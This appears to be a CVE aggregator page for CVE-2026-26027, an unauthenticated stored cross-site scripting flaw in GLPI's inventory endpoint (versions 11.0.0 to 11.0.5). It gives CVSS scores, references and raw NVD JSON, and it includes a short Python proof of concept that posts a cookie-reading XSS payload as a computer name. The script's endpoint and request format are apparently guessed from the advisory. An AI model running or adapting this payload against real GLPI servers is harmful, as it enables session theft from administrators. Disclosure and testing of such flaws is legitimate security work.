CVE-2026-26027

Description

GLPI is a free asset and IT management software package. From 11.0.0 to before 11.0.6, an unauthenticated user can store an XSS payload through the inventory endpoint. This vulnerability is fixed in 11.0.6.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:* - VULNERABLE

GLPI >= 11.0.0, < 11.0.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://example.com/glpi/api/inventory.php" 
# Vulnerable endpoint based on advisory

# Malicious XSS payload
xss_payload = '<img src=x onerror=alert(document.cookie)>'

# Construct data payload for inventory injection
data = {
    "itemtype": "Computer",
    "name": xss_payload,
    "entities_id": 0
}

try:
    # Send the request without authentication (PR:N)
    response = requests.post(target_url, json=data)
    
    if response.status_code == 200:
        print("[+] Payload injected successfully.")
        print("[+] Check the inventory interface to trigger the XSS.")
    else:
        print(f"[-] Injection failed with status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-26027
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-26027
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-26027/
[4] VulDB https://vuldb.com/cve/CVE-2026-26027
[5] https://github.com/glpi-project/glpi/security/advisories/GHSA-chch-wcm9-f9cp

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-26027", "sourceIdentifier": "[email protected]", "published": "2026-04-06T15:17:07.243", "lastModified": "2026-04-07T16:02:54.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GLPI is a free asset and IT management software package. From 11.0.0 to before 11.0.6, an unauthenticated user can store an XSS payload through the inventory endpoint. This vulnerability is fixed in 11.0.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-116"}, {"lang": "en", "value": "CWE-306"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.0.6", "matchCriteriaId": "7BF95FA7-1F5E-4D44-B291-5576720FB714"}]}]}], "references": [{"url": "https://github.com/glpi-project/glpi/security/advisories/GHSA-chch-wcm9-f9cp", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}